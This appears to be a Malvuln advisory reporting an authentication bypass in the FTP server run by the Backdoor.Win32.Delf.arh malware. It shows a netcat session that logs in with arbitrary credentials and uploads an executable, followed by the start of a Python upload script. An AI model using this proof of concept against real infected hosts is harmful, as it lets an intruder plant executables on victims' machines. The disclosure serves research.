Backdoor.Win32.Delf.arh malware suffers from an authentication bypass vulnerability.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/b3b19524967d22d6eb7517b03b660b00.txt
Contact: [email protected]
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server. Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Vuln ID: MVID-2022-0650
C:>nc64.exe 192.168.18.125 21
220 ICS FTP Server ready.
331 Password required for malvuln.
230 User malvuln logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,18,125,246,88).
150 Opening data connection for DOOM_SM.exe.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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